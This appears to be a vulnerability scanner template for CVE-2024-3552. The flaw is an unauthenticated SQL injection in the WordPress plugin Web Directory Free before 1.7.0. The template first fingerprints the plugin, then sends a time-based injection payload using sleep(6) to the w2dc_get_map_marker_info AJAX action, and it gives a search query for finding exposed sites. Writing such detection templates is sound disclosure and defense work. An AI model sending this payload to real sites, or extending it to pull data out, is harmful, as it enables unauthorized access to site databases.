Web Directory Free < 1.7.0 - SQL Injection

id: CVE-2024-3552

info:
  name: Web Directory Free < 1.7.0 - SQL Injection
  author: securityforeveryone
  severity: critical
  description: |
    The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
  remediation: Fixed in 1.7.0
  reference:
    - https://vulners.com/wpvulndb/CVE-2024-3552
    - https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/web-directory-free"
  tags: cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free

flow: http(1) && http(2)

http:

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '/wp-content/plugins/web-directory-free'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - regex('^\[\]$', body)
        condition: and
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